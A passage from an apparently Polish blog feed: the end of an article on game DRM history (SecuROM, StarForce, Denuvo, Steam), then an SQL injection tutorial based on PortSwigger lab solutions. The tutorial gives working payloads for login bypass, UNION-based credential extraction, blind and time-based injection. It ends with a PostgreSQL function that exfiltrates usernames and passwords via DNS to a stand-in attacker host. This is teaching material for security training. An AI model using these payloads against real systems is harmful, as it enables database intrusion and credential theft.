Przynajmniej tak to wyglądało w pierwszych wersjach. Od wersji 4.8 SecuROM zaczął korzystać z różnicy gęstości zapisu na dysku. Korzystając z technologii DPM (Data Position Measurement), dało się rozróżnić, czy zapis na dysku był oryginalny (dyski tworzone masowo przez Sony miały tą samą gęstość zapisu w konkretnych sektorach, podczas gdy kopie podatne były na wahania). Powyżej opisane techniki to techniki sprawdzania autentyczności dysku - znienawidzona część SecuROM związana natomiast jest z aktywacją produktu. SecuROM był w tej kwestii bezlitosny i na początku trochę uciążliwy. W pierwszej dekadzie XXI wieku dostęp do internetu nie był jeszcze powszechny, irytować więc mogła konieczność połączenia z internetem w celu weryfikacji. Po połączeniu z serwerem, pobierany był klucz przechowywany w plikach i rejestrach systemu (konkretniej mówiąc, w C:\ProgramData\SecuROM i KEY_LOCAL_MACHINE\Software\SecuROM), a program pozwalał na jego użycie na określonej liczbie komputerów. To, co na pierwszy rzut oka wygląda na sensowny pomysł, w połączeniu z małą tolerancją na zmiany sprzętu, powodowało, że wymiana procesora lub karty graficznej wykorzystywała jedną z (często ograniczonych) licencji gry. Wśród innych ciekawych rzeczy, które powodowały uruchomienie się zabezpieczenia, były np. reinstalacja systemu czy nawet jego aktualizacje modyfikujące konkretne pliki .dll. Najgłośniejszym tego przykładem jest najczęściej piracona gra roku 2008, Spore.

Spore - najczęściej piracona gra 2008 roku

https://media.contentapi.ea.com/content/dam/gin//assets/images/posts/anti-piracy/2022/02/spore-game-art-16x9.jpg.adapt.crop1x1.767p.jpg

Sympatyczny symulator ewolucji firmy Maxis w momencie premiery pozwalał na jedynie 3 użycia licencji z grą (limit zwiększono potem do 5), dodając do tego 10-dniowy czas oczekiwania na odnowę licencji. Nie dziwi więc, że na Amazonie Spore miało jedyne 2.1 na 5 gwiazdek - głównym powodem negatywnych recenzji była, a jakże, niewybaczająca implementacja DRM. W tej sprawie poszedł nawet pozew do Electronic Arts, który jednak udało się zakończyć ugodą w sądzie. Ostatecznie, Spore zostało najczęściej piraconą grą 2008, w dużej mierze przez osoby posiadające legalną kopię, ale które przez skopane zabezpieczenia nie mogły się cieszyć nabytymi tytułami. SecuROM posiadał także szereg innych wątpliwych praktyk, takich jak: korzystanie z najniższego poziomu dostępu w systemie Windows (Ring 0), trudności w usunięciu programu czy nawet powodowanie awarii napędów CD, ale to już wisienka na torcie.

StarForce

Kolejnym głośnym zabezpieczeniem o złej sławie był StarForce stworzony dla Windowsa przez rosyjskie Protection Technologies. Wystarczy tylko spojrzeć na sposób działania StarForce i nietrudno się domyślić, dlaczego gracze byli niepochlebnie do niego nastawieni. Po pierwsze, po uruchomieniu gry, jeżeli StarForce jeszcze nie był obecny na systemie, instaluje się, tzn. instalowany jest sterownik sfdrv01.sys, który odpowiada za przechwytywanie informacji z czytników dysków optycznych. Działało to poprzez resetowanie kanału IDE, pojawiało się jednak kilka problemów - na przykład to, że reset tego kanału zatrzymywał wszystkie aktualnie działające procesy na tych urządzeniach (np. czytnikach czy nawet dyskach, jeżeli były na tym samym kanale). Wynikało to ze specyfiki działania standardu IDE, działał on na zasadzie magistrali, a reset jednego urządzenia resetował też resztę - co samo w sobie jest problemem. Była jednak jeszcze druga rzecz. System Windows zazwyczaj operuje na przerwaniach DMA (Direct Memory Access), dzięki temu peryferia w sposób nieblokujący mogą informować procesor o różnych ważnych rzeczach, takich jak ukończenie konkretnych zadań, odebranie danych itp. Nie jest to jedyny tryb działania tych urządzeń, ponieważ istnieje też PIO (Programmed Input/Output). W trybie PIO procesor indywidualnie zarządza dostępem do pamięci kolejnych urządzeń, co jest dużo wolniejsze. Windows przy starcie systemu zazwyczaj negocjuje od razu przejście na szybkie DMA, jednakże jeżeli jakieś peryferium jest niestabilne, to po 6 incydentach przełącza je w tryb PIO. Takim incydentem jest reset urządzenia. Podsumowując, po 6 resetach - np. 5 spowodowanych przez StarForce i jedno zupełnie przypadkowe - urządzenie wchodziło w dużo wolniejszy tryb działania. To tyle, jeżeli chodzi o działania powstrzymujące ingerowanie w dysk. Co do innych zabezpieczeń StarForce, to kwestie uwierzytelnienia dysku zależne były od wersji - w jednym przypadku trzeba było ręcznie wpisać kod umieszczony np. na płycie, a system porówna go z parametrami fizycznymi dysku (wcześniej wspomniany DPM - Data Position Measurement). W drugim przypadku, tego typu zabezpieczenie jest obecne bezpośrednio na płycie, pomijając konieczność ręcznego wpisywania kodu przez użytkownika. Potem do tego został dorzucony sposób ProActive, który pozwalał na weryfikację online. Wystarczyło włożyć płytę do napędu, połączyć się z internetem, co uruchamiało generowanie klucza na bazie hardware’u, a potem już płyta nie była potrzebna. Do tego StarForce używał metod obfuskacji kodu i wykrywania, czy gra nie jest uruchomiona na maszynie wirtualnej. Poza wcześniej opisanym problemem z dyskami niepokojące było też to, że program działał w najniższym pierścieniu zabezpieczeń Windowsa (Ring 0), co było oczywistym zagrożeniem dla bezpieczeństwa systemu.

Splinter Cell: Chaos Theory bronił się przed crackowaniem 422 dni

https://store.steampowered.com/app/13570/Tom_Clancys_Splinter_Cell_Chaos_Theory

Ogólnie mówiąc StarForce był skutecznym DRM’em, przykładem może być chociażby gra Splinter Cell: Chaos Theory, która opierała się atakom przez 422 dni po premierze, ale graczom daleko było do miłości do niego.

Denuvo

Stworzone przez dawnych pracowników Sony, pracujących przy SecuROM, Denuvo zadebiutowało w 2014 roku przy okazji wydania FIFA 15. Technologia ta w swoich założeniach różni się od innych DRMów tym, że zamiast ograniczać dostęp do danej własności intelektualnej, jest raczej narzędziem zapobiegającym ingerowanie w nią (ang. anti-tampering). Denuvo działa poprzez ciągłe wykonywanie operacji kryptograficznych, sprawdzających, czy dany tytuł nie został nijak naruszony i czy naprawdę należy do grającego. Tak zaimplementowane rozwiązanie faktycznie znacząco wydłuża czas potrzebny do crackowania gry, ale jednocześnie znacząco wpływa na czasy ładowania, liczbę klatek na sekundę, zużycie procesora itp. Dla przykładu, dyrektor Tekkena 7 (i innych instancji serii), Katsuhiru Harada, otwarcie przyznał, że przez szyfrowanie stosowane przez Denuvo niektóre ataki powodują spadek liczby klatek.

Denuvo zostało otwracie skrytykowane przez dyrektora produkcyjnego Tekkena 7

https://image.api.playstation.com/vulcan/img/rnd/202111/1213/djtqEqWCXcKmwUhM6qdUIFnJ.jpg

Trudności w łamaniu Denuvo rzuciły cień strachu na społeczność piratów, ale pozwoliły też na stworzenie legendy sceny hakerskiej - Empress. Była ona (mówiła o sobie, że jest rosyjską crackerką) o tyle wyjątkowa, że jako jedyna była w stanie regularnie wypuszczać cracki gier zabezpieczonych Denuvo (tzn. była najbardziej medialną pojedynczą osobą, która to robiła, inne ekipy crackerskie też dowoziły), co doprowadziło do jej kultu, a w konsekwencji do narodzenia się u niej kompleksu Boga. Z jej ekspertyzy wynikało, że Denuvo jest trudne do złamania przez ilość technik wprowadzonych w celu zmylenia potencjalnych atakujących. Jej gwiazda jednak szybko zaczęła gasnąć, kontrowersje budziło zwłaszcza żądanie pieniędzy za crackowanie konkretnych tytułów (zazwyczaj 500$). Po serii zawieszania i wznawiania działalności (według jej samej miała nawet zostać aresztowana) Empress zakończyła działalność pod koniec 2023 roku. A przynajmniej miała, bo według jej prywatnych DMów planowała powrót w 2025 roku. Obecnie Denuvo, jeżeli występuje, dalej jest sporym utrudnieniem dla piratów - osoby udostępniające spiracone tytuły nie robią tego dla korzyści finansowej, dlatego tym bardziej mniej oczekiwane tytuły przez dłuższe okresy wytrzymują próbę czasu i nie zostają złamane. Wystarczy zresztą spojrzeć na strony takie jak Crackwatcher, żeby zobaczyć, że znaczna część wciąż niezłamanych tytułów jest zabezpieczona właśnie Denuvo. Oprócz problemów dotyczących typowo wydajności gier, Denuvo miało też parę wpadek innej natury. Weźmy na tapet incydent z 7 listopada 2021 roku, kiedy to pojawił się problem z dostępnością domeny (nie została ona w porę przedłużona). Doprowadziło to do chwilowej niesprawności sporej ilości tytułów takich jak Yakuza: Like a Dragon, Persona 4 Golden, Mad Max i dużo więcej. Ostatecznie jednak, niektórzy twórcy i wydawcy decydują się na usunięcie Denuvo z ich produktów na parę miesięcy po premierze, kiedy to produkt jest blisko kresu swojego życia ,,półkowego" - dla przykładu Devil May Cry 5 zostało go pozbawione około rok po premierze, co spowodowało zwiększenie liczby klatek (niektórzy użytkownicy raportowali wzrost aż o 25%), skrócenie czasów ładowania, a także sporą aprobatę ze strony graczy.

Wydawca Devil May Cry 5 podjął decyzje o usunięciu Denuvo z gry około rok po premierze, co przyczyniło się do zmniejszego zużycia zasobów przez tytuł

https://i.ytimg.com/vi/KMSGj9Y2T9Q/maxresdefault.jpg

Denuvo wciąż jest systemem trudnym do obejścia, więc nadążenie za każdym tytułem nie jest możliwe, choć odpowiednio doświadczona grupa osób jest w stanie je przełamać. Zgadza się to również z filozofią rozwiązania - twórcy wychodzili z założenia, że piractwo jest szczególnie dotkliwe dla tytułu, jeżeli następuje w okolicach pierwszych 30 dni obecności gry na rynku. Celem Denuvo jest więc nie tyle całkowite ukrócenie piractwa, co raczej jego opóźnienie. Z tego też powodu wydawcy często po paru miesiącach usuwają ten DRM ze swoich tytułów, co pozwala na zwiększenie wydajności.

Steam DRM

Korzystanie z powyższych rozwiązań wiąże się jednak z koniecznością zapłaty za nie firmom trzecim. W związku z tym część twórców decyduje się na użycie rozwiązań wbudowanych w platformy, z których korzystają. Jednym z takich przypadków jest DRM dostarczany przez Steam. Platforma Steam w swojej ofercie ma co prawda gry z zewnętrznymi systemami DRM, takimi jak Denuvo (są nawet specjalne grupy i użytkownicy kompilujący gry z Denuvo w listy), a samo Valve w swoich zaleceniach mówi o tym, że lepiej używać ich rozwiązania wraz z innymi tego typu. Sam DRM jest częścią Steamworks, który w skrócie jest zestawem narzędzi pozwalających na integrację gier z platformą Steam - pozwala to na dodanie osiągnięć, zapisu w chmurze itp. Steam oferuje deweloperom dwa główne rozwiązania DRM. Prostszym z nich jest Steam Stub (nazywany również Steam DRM Wrapper), który w swoim działaniu sprawdza, czy Steam jest uruchomiony oraz czy użytkownik, który uruchamia grę, faktycznie ją posiada. Całość została poddana obfuskacji, ale jak oficjalnie przyznaje Valve, dla osoby chcącej się jej pozbyć, nie będzie to stanowiło dużego wyzwania - Steam Stub chroni jedynie przed ,,ekstremalnie przypadkowym piractwem", takim jak skopiowanie plików gry na inny komputer. Steam Stub zawiera również zabezpieczenia przed manipulacją kodem gry, takie jak sprawdzanie sum kontrolnych, obfuskację i opcjonalne szyfrowanie kodu. Nowsze wersje zawierają także wykrywanie debuggera - system sprawdza, czy debugger jest obecny (używając IsDebuggerPresent()), oraz ukrywa wątki przed debuggerem za pomocą wywołania NtSetInformationThread. Bardziej zaawansowanym rozwiązaniem jest CEG (Custom Executable Generation), które tworzy unikalną kopię pliku wykonywalnego gry dla każdego użytkownika. Gdy użytkownik instaluje grę chronioną CEG, serwer Steam zbiera informacje jednoznacznie identyfikujące jego komputer i na tej podstawie generuje spersonalizowany plik wykonywalny. Co ważne, CEG pozostaje przyjazne dla użytkownika - nie nakłada limitów instalacji, pozwala grać na wielu komputerach, a jeśli użytkownik zmieni konfigurację sprzętu na tyle, że weryfikacja by zawiodła, system automatycznie wygeneruje nowy plik wykonywalny. Warto jednak zauważyć, że na platformach cyfrowej dystrybucji, takich jak Steam, Origin, Epic Games Store itp., twórcy często korzystają z kolejnej warstwy ochrony, jaką są rozwiązania typu anti-cheat. Taki na przykład Easy Anti-Cheat jest narzędziem blokującym cheaty oraz mody, ale podobnie jak np. StarForce wzbudza wątpliwości swoim dostępem do jądra systemu (Ring 0).

W grze Elden Ring, wyprodukowanej przez FromSoftware, tryb online jest dostępny tylko przy działającym rozwiązaniu Easy Anti-Cheat

https://shared.fastly.steamstatic.com/store_item_assets/steam/apps/1245620/header.jpg?t=1748630546

Podsumowanie (części pierwszej)

W kwestii zabezpieczeń komputerów osobistych to by było na tyle, ale jeżeli macie ochotę poznać kulisy walki Nintendo, Sony i Microsoftu z piratami to warto zajrzeć na naszą stronę za jakiś czas, na drugą część artykułu.

Źródła

Kompendium wiedzy - SQL injection

Fri, 21 Nov 2025 00:00:00 +0000

Czyli o wydobywaniu informacji z baz danych słów kilka

Bazy danych są wykorzystywane w bardzo wielu miejscach. Wykorzystują je między innymi aplikacje webowe, z których korzystamy każdego dnia. Adresy e-mail, nazwy użytkowników, hasła, informacje o produktach - wszystkie te informacje muszą być gdzieś przechowywane. Popularnym wyborem są relacyjne bazy danych, z którymi aplikacje komunikują się i pobierają z nich dane korzystając z języka SQL, często umieszczając w zapytaniu informacje otrzymane w postaci parametrów żądania GET lub POST czy też zawartych w nagłówku Cookie. Może to stwarzać bardzo poważną lukę bezpieczeństwa, która pozwala na wydobycie z bazy wrażliwych informacji takich jak loginy i hasła użytkowników danego serwisu.

SPOILER ALERT: Poniższy artykuł pokazuje podstawy przeprowadzania ataków SQL injection (wstrzykiwania SQL) w oparciu w dużej mierze o zadania laboratoryjne dostępne na platformie PortSwigger Web Security Academy. Jako przykłady zostały w nim przedstawione rozwiązania lub wskazówki do części tych zadań.

Czym jest SQL?

SQL (Structured Query Language) jest językiem zapytań pozwalającym na integrację z relacyjnymi bazami danych. Warto się z nim zapoznać przed przystąpieniem do dalszej lektury tego artykułu.

Język SQL wykorzystywny jest przez systemy zarządzania bazą danych (DBMS), między innymi:

Na czym polega SQL injection?

Z wstrzykiwaniem SQL mamy do czynienia w momencie, gdy aplikacja nie sprawdza danych wejściowych, które wykorzystuje przy wykonaniu zapytania do bazy danych lub robi to niepoprawnie, co pozwala na modyfikację jego oryginalnej treści zapytania poprzez dodanie do niego własnego kodu SQL.

Przykład. Załóżmy, że mamy formularz logowania, który przyjmuje dane: nazwa użytkownika i hasło, a następnie wysyła je serwerowi za pomocą metody POST. Dane są odbierane przez aplikację, która następnie wykonuje zapytanie do bazy danych, aby sprawdzić, czy dane logowania są poprawne. Aplikacja napisana w języku PHP może je sformułować mniej więcej tak:

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

Wartości zmiennych $username i $password są podstawiane do łańcucha znaków reprezentującego kwerendę. Dla przykładowych danych username=admin oraz password=admin będzie to:

SELECT * FROM users WHERE username='admin' AND password='admin'

Jednak co się stanie, gdy ktoś zdecyduje się wpisać w polu username sam znak ' (apostrof)?

Zapytanie przyjmie formę:

SELECT * FROM users WHERE username=''' AND password='admin'

Dodanie apostrofu spowoduje błąd składni języka SQL, ponieważ w tym języku dane tekstowe zapisuje się właśnie między apostrofami. Ten jeden znak zakończy tekst porównywany z wartością w kolumnie username, a apostrof będący oryginalnie w tej kwerendzie będzie oznaczał rozpoczęcie nowego tekstu. Serwer WWW w tym wypadku może zwrócić odpowiedź z kodem 500 Internal server error informując nas o niepowodzeniu wykonania akcji wykonanej po jego stronie.

Aby uniknąć błędu aplikacji, na końcu wstrzykiwanego kodu możemy dodać pojedynczy znak bądź grupę znaków oznaczających komentarz. W przypadku języka SQL często będą to dwa myślniki oraz spacja.

Wtedy zapytanie z iniekcją będzie wyglądać tak:

SELECT * FROM users WHERE username='' -- ' AND password='admin'

To co znajduje się za myślnikami jest traktowane jako komentarz i ignorowane przez interpreter języka SQL. Po wyeliminowanie błędu składniowego kwerenda jest poprawna.

Warto jeszcze po spacji po tych dwóch myślnikach dać trzeci, ponieważ aplikacja może ucinać białe znaki na końcu. Przykładowo MySQL wymaga spacji po dwóch myślnikach, więc jej usunięcie spowodowałoby błąd.

SELECT * FROM users WHERE username='' -- -' AND password='admin'

Podstawowy atak SQLi

Najbardziej podstawowym atakiem SQL injection jest wykorzystanie warunku z OR (lub). Jeśli we wrażliwym na atak parametrze podamy ' OR 1=1 -- - zapytanie przyjmie formę:

SELECT * FROM users WHERE username='' OR 1=1 -- -' AND password='admin'

W tym momencie, SQL sprawdza czy chociaż jeden z warunków został spełniony: albo username jest puste, albo jeden jest równe jeden. Drugi warunek jest zawsze prawdziwy, przez co zawsze baza zwróci nam jakąkolwiek odpowiedź. W przypadku podatnego panelu logowania zostaniemy zalogowani jako losowy użytkownik znajdujący się w tabeli users.

Przykład z zadania laboratoryjnego z PortSwigger Web Security Academy:

Lab: SQL injection vulnerability allowing login bypass

W obu polach formularza wpisałem admin' or 1=1 -- -. Po kliknięciu przycisku Log in zostajemy przekierowani na stronę:

Lab: SQL injection vulnerability allowing login bypass

Pomyślnie zostaliśmy zalogowani na konto użytkownika administrator.

Podatność nie musi tkwić wyłącznie w formularzach na stronie, które przekazują wpisane dane serwerowi za pomocą metody POST. Możemy je znaleźć także w parametrach żądania HTTP korzystającego z metody GET, które występują w URL:

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

W tym przypadku nie otrzymaliśmy wprawdzie dostępu do czyjegoś konta, ale wyświetliły się nam produkty, których z poziomu graficznego interfejsu strony nie można było na niej znaleźć.

UNION based SQL injection

Wstrzyknięcie oparte o operator UNION pozwala na połączenie dwóch zapytań SELECT do dwóch różnych tabel w jeden wynik, np.:

SELECT name FROM cats UNION SELECT name FROM dogs

W powyższym przykładzie wynikiem będą imiona zarówno kotów jak i psów.

Załóżmy, że strona ma bazę książek, z której aplikacja pobiera ich tytuł i autora filtrując po danej kategorii:

SELECT title, author FROM books WHERE category='$category'

Możemy zastosować payload: ' union select username, password from users -- -, a kwerenda przyjmie postać:

SELECT title, author FROM books WHERE category='' UNION SELECT username, password FROM users -- -'

Dzięki temu oprócz informacji o książkach dostaniemy nazwy i hasła użytkowników serwisu.

W języku SQL wielkość liter w słowach kluczowych nie ma znaczenia, tzn. możemy pisać zarówno SELECT jak i select.

Możemy też wykluczyć z wyniku zapytania informacje o książkach dodając spójnik logiczny and wraz z warunkiem, który zawsze jest nieprawdziwy:

SELECT title, author FROM books WHERE category='' AND 0=1 UNION SELECT username, password FROM users -- -'

Dzięki temu w wyniku otrzymamy wyłącznie nazwy użytkowników i ich (przeważnie zahaszowane) hasła.

Aby ten typ ataku powiódł się, muszą zostać spełnione dwa warunki:

w obu zapytaniach select musi być zwracana taka sama liczba kolumn,
typy danych w odpowiadających sobie kolumnach muszą być zgodne.

Znajdowanie ilości kolumn zwracanych przez zapytanie

Przed wydobyciem jakichkolwiek danych musimy odgadnąć, ile kolumn zwraca zapytanie do bazy danych ze względu na to, jak działa klauzula UNION SELECT. Można to zrobić na dwa sposoby.

Pierwszy z nich polega na podawaniu w ramach wyżej wymienionej klauzuli określonej liczby wartości NULL:

SELECT title, author FROM books WHERE category='' UNION SELECT NULL, NULL -- -'

Za mała lub za duża liczba tych wartości spowoduje błąd, dzięki czemu możemy stwierdzić, jaka jest ich odpowiednia liczba, a co za tym idzie - jaka jest liczba kolumn zwracanych przez oryginalną kwerendę. Należy sprawdzać po kolei, jaka liczba wartości null nie spowoduje błędu bazy danych.

Lab: SQL injection UNION attack, determining the number of columns returned by the query

W tym miejscu warto zwrócić uwagę na różnice między systemami bazodanowymi. W bazach Oracle przy wyrażeniu SELECT wymagane jest użycie klauzuli FROM. W bazach danych Oracle istnieje również specjalna tabela DUAL. Można ją wykorzystać, jeśli nasze zapytanie (tak jak w powyższym przykładzie) nie pobiera żadnych konkretnych kolumn, na przykład:

SELECT SUBSTR('ala ma kota', 1, 3) FROM dual

Inną metodą pozyskiwania informacji o ilości zwracanych kolumn jest użycie słów kluczowych ORDER BY. Rozważmy zapytanie z payloadem ' ORDER BY 1 -- -:

SELECT title, author FROM books WHERE category='' ORDER BY 1 -- -'

Spowoduje to posortowanie wyników w oparciu o pierwszą kolumnę. Możemy podawać numery 1, 2, 3 itd. Jeśli numer kolumny, po której będziemy chcieli w tej kwerendzie sortować, będzie większy od ilości zwracanych kolumn to wystąpi błąd. Zaletą tej metody jest to, że możemy w naszych zgadywaniach wykorzystać wyszukiwanie binarne, aby przyspieszyć proces znajdowania liczby, która nas interesuje.

Lab: SQL injection UNION attack, determining the number of columns returned by the query

Znajdowanie kolumny zawierającej tekst

Znając już liczbę zwracanych z bazy kolumn można sprawdzać, jakie typy danych przyjmują poszczególne z nich. Najczęściej będzie nas interesować tekst, dlatego warto przed próbą wydobycia zawartości bazy sprawdzić, w których kolumnach można go umieścić, ponieważ nie wszystkie mogą akceptować tekst lub nie wszystkie są zwracane do przeglądarki, przez co nie są dla nas użyteczne.

Możemy wykorzystać payload z pierwszej metody znajdywania ilości kolumn, tylko zamieniać po kolei wartości NULL na wartość tekstową i sprawdzać kiedy występuje błąd, a kiedy nie, na przykład ' UNION SELECT 'abc', NULL -- -.

SELECT title, author FROM books WHERE category='' UNION SELECT 'abc', NULL -- -'

Jeśli nie wystąpi, to znaczy, że typy danych są zgodne.

Rozważmy inny przykład zapytania:

SELECT price, title, author FROM books WHERE category='$category'

Kolumna price zawiera wartość liczbową. W przypadku wstrzyknięcia kodu ' UNION SELECT 'abc', NULL, NULL -- - wystąpi błąd bazy danych związany z użyciem niezgodnych typów, jednak gdy wstrzykniemy ' UNION SELECT NULL, 'abc', NULL -- - aplikacja zwróci wynik zawierający tekst abc.

Spójrzmy na przykład z innego zadania na PortSwigger Web Security Academy. Po krótkim zapoznaniu się ze stroną, można zauważyć, że kiedy podamy apostrof w parametrze category wystąpi błąd, co oznacza że w tym miejscu można wstrzyknąć kod SQL. Wykorzystując jedną z opisanych wyżej metod można szybko określić, ile kolumn jest zwracane przez bazę danych. Mając to wszystko, można przystąpić do szukania miejsca, w którym można umieścić tekst.

Lab: SQL injection UNION attack, finding a column containing text

Próbując zawrzeć tekst w pierwszej kolumnie następuje błąd serwera, sprawdźmy więc kolejne pole:

Lab: SQL injection UNION attack, finding a column containing text

Jak widać, nasz tekst został zwrócony wraz z innymi danymi z bazy.

Określanie wersji bazy danych

Wiedząc już, w którym miejscu można wyświetlać tekst, możemy przejść do określenia typu i wersji bazy danych.

Sposoby różnią się między sobą w zależności od systemu bazodanowego:

select @@version - dla MySQL i Microsoft
select version() - dla PostgreSQL
select banner from v$version - dla Oracle

Metodą prób i błędów możemy sprawdzić, która z tych możliwości zadziała:

Lab: SQL injection UNION attack, finding a column containing text

Jeśli mamy do czynienia z bazą Oracle, można to stwierdzić już przed znalezieniem informacji o wersji bazy, jeśli przy zapytaniach z klauzulą union select (np. przy określaniu ilości zwracanych kolumn) należało użyć wyrażenia from dual.

Odkrywanie nazw tabel w bazie

Poczyniwszy niezbędne przygotowania, możemy wreszcie przystąpić do wyciągania właściwej zawartości bazy danych, zaczynając od określenia, jakie w ogóle tabele w niej występują. W systemach zarządzania bazami istnieją tabele, które są tworzone domyślnie przez system i przechowują informacje o zawartości baz danych w nim dostępnych. Tabela zawierająca informacje o innych tabelach w systemach takich jak MySQL i PostgreSQL nazywa się information_schema.tables, natomiast w Oracle będzie to all_tables.

Lab: SQL injection attack, listing the database contents on non-Oracle databases

Zastosowałem omawiany wcześniej filtr AND 0=1, dzięki czemu wyświetlają się tylko wyniki, które mnie interesują, ponieważ wykluczyłem całą zawartość zwracaną przez oryginalne zapytanie. Część tabel, których nazwy zostały przeze mnie wykryte, jest tworzona domyślnie na potrzeby systemu bazodanowego podczas jego instalacji i niekoniecznie powinny zostać przedmiotem zainteresowania. Warto szukać nazw tabel, które utworzył administrator, bo to one będą zawierać informacje o testowanym przez nas serwisie.

Znajdowanie nazw kolumn w tabelach

Mając już upatrzoną jedną lub więcej tabel, które chcemy przeszukać, musimy sprawdzić, jak nazywają się występujące w nich kolumny. Do tego celu ponownie posłużą nam specjalne tabele z informacjami o bazie:

SELECT column_name FROM all_tab_columns WHERE table_name='$table_name' - dla baz Oracle
SELECT column_name FROM information_schema.columns WHERE table_name='$table_name' - dla innych popularnych systemów

Lab: SQL injection attack, listing the database contents on Oracle

Wisienka na torcie

Zwieńczeniem całego procesu jest pobranie właściwych rekordów, o które właśnie przez ten cały czas nam przecież chodzi. Mamy już wybrane za cel tabele i ich kolumny zawarte, wiemy ile kolumn musi zwrócić nasza kwerenda. Teraz wystarczy tylko wykonać zwykłe zapytanie z użyciem UNION SELECT.

Lab: SQL injection attack, listing the database contents on Oracle

Łączenie kilku kolumn w jedną

Na tym etapie możemy napotkać pewien problem. Co jeśli kwerenda zwraca tylko jedną kolumnę, a my chcemy pobrać dwie? Albo jeśli tylko jedna kolumna pozwala na tekst? Na szczęście ten problem ma proste rozwiązanie - wystarczy skleić ze sobą wartości dwóch kolumn tworząc jeden ciąg znaków, który można umieścić w tej jednej kolumnie. W zależności od bazy danych możemy użyć operatora ||, + lub funkcji CONCAT.

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Blind SQL injection

Niestety życie nie zawsze jest takie proste. Nie w każdym przypadku możemy tak swobodnie przeglądać zawartości bazy danych korzystając z interfejsu graficznego jakim jest strona internetowa serwisu. Może zdarzyć się przypadek, gdzie pomimo występowania podatności pozwalającej wstrzyknąć kod SQL, wynik zapytania nie jest zwracany do naszej przeglądarki. Wtedy musimy działać na ślepo i zgadywać, co znajduje się w owej bazie.

Niektóre techniki tego rodzaju ataków można określić jako boolean-blind, ponieważ stosuje się w nich zapytania typu prawda lub fałsz. To tak, jakby próbować poznać imię drugiej osoby, zadając jej pytania o każdą kolejną literę sprawdzając wszystkie litery alfabetu po kolei, a ta osoba odpowiadałaby tak albo nie. Jest to trudniejsze i bardziej pracochłonne niż wykorzystanie instrukcji UNION. Zajmuje więcej czasu i wymaga skorzystania z pomocy narzędzia takiego jak Burp Intruder lub napisania exploita - skryptu czy programu - ponieważ realizacja tego zadania ręcznie byłaby morderczą katorgą.

Pisanie skryptów i obsługę Burp Intrudera zostawiam Czytelnikom do samodzielnego wykonania.

Zgadywanie treści na podstawie zachowania aplikacji

Możliwe, że w przypadku pozytywnego wykonania kwerendy do bazy, strona zwraca treść, pewien ciąg znaków lub inny rodzaj informacji świadczący o sukcesie. Możemy to wykorzystać i wysyłać zapytania z wyrażeniami boolowskimi, na podstawie których będziemy próbować wykorzystać lukę.

Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses

W tym zadaniu podatność tkwiła w nagłówku Cookie. Stosując proste zapytania proof of concept możemy zauważyć, że w zależności od tego, czy warunek jest prawdziwy bądź fałszywy, na stronie wyświetla się napis Welcome back. Teraz litera po literze, znak po znaku jesteśmy w stanie odgadywać zawartość bazy danych.

Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional responses

Warunkowe wywoływanie błędu

Nie każda aplikacja zwraca magiczny ciąg znaków w odpowiedzi na udane zapytania. Kolejną rzeczą do wypróbowania jest wywołanie jakiegokolwiek błędu. Wtedy naszą odpowiedzią tak będzie jego wystąpienie, a odpowiedzią nie będzie jego brak. Sposób wykonania ataku nieco różni się od poprzedniego, ale jego logika pozostaje niezmienna. Wciąż bowiem zadajemy pytania typu prawda lub fałsz.

Pomocna przy tworzeniu odpowiednich payloadów może być ściąga do SQL injection, która znajduje się na stronie PortSwigger Web Security Academy.

Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional errors

Warunek substr(password, 1, 1)='0' nie został spełniony, więc nie ma żadnego błędu na stronie. Oznacza to, że musimy próbować dalej.

Zrzut ekranu z programu Burp Suite - Lab: Blind SQL injection with conditional errors

Tym razem, warunek substr(password, 1, 1)='8' został spełniony i została wykonana próba dzielenia przez zero, co spowodowało błąd aplikacji. Stąd wiemy, że pierwszy znak w haśle to cyfra 8. W ten sam sposób można znaleźć pozostałe znajdujące się w nim znaki.

Wstrzykiwanie SQL na podstawie opisu błędu

Niekiedy nie musimy wszystkiego zgadywać znak po znaku. Czasami wywołanie błędu bazy danych w przypadku nieostrożnej konfiguracji serwera może powodować, że na stronie zostanie wyświetlony wiele mówiący komunikat. Możemy spróbować wykorzystać to, aby wykraść zawartość bazy.

Zrzut ekranu z programu Burp Suite - Lab: Visible error-based SQL injection

Mając wiedzę o tym gdzie wystąpił błąd, jak wygląda kwerenda i jakie dane zostały w niej umieszczone, możemy wywołać taki błąd, aby w komunikacie o nim zostały zawarte dane, które mamy zamiar wydobyć.

Zrzut ekranu z programu Burp Suite - Lab: Visible error-based SQL injection

Zgadywanie przez opóźnianie - time delays

Bywają takie sytuacje, że aplikacja nie poinformuje nas o wystąpieniu błędu w bazie danych w żaden sposób. Wracamy do pytań prawda lub fałsz, ale tym razem naszym wyznacznikiem udanego testu będzie czas, w jakim serwer zwróci odpowiedź. Spróbujemy wywołać opóźnienie (time delay) tej odpowiedzi, na podstawie czego określimy, czy warunek został spełniony.

Przykładowy payload dla PostgreSQL:

select case when (substr(password, 1, 1)='a') then pg_sleep(10) else pg_sleep(0) end from users where username = 'administrator

Jeśli warunek substr(password, 1, 1)='a' będzie prawdziwy, działanie aplikacji zostanie zatrzymane na 10 sekund. To opóźnienie to odpowiedź tak na pytanie: czy pierwsza litera hasła to “a”?

Ten sposób jest najbardziej czasochłonny ze wszystkich, ale znaki w danym rekordzie sprawdzamy niezależnie od siebie, więc możemy je odgadywać równocześnie stosując w naszym exploicie mechanizm wielowątkowości, przyspieszając proces pozyskiwania danych z bazy. Stosowanie wątków można oczywiście zastosować też do innych metod boolean-blind omawianych wcześniej.

Out-of-Band Application Security Testing (OAST)

Czasem wszystkie powyższe metody zawodzą. Nie jesteśmy w stanie wywołać błędu, a próby spowalniania aplikacji nie udają się. Ostatnią deską ratunku może okazać się wysłanie wykradzionych informacji na zewnętrzny serwer będący pod kontrolą atakującego przy pomocy np. zapytań DNS.

Sposób wykonania tego typu ataku różni się drastycznie w przypadku różnych systemów zarządzania bazą danych. W PostgreSQL wykonanie zwykłego zapytania DNS wygląda tak:

copy (select '') to program 'nslookup oast.my-external-server.com';

Wydobycie danych tą metodą jest jednak trudniejsze i wymaga napisania trochę kodu:

create or replace function f() returns void as $$
declare p text; c text;
begin
select into p (select username || '-' || password from users);
c := 'copy (select '''') to program ''nslookup '||p||'.oast.my-external-server.com''';
execute c;
end;
$$ language plpgsql security definer;
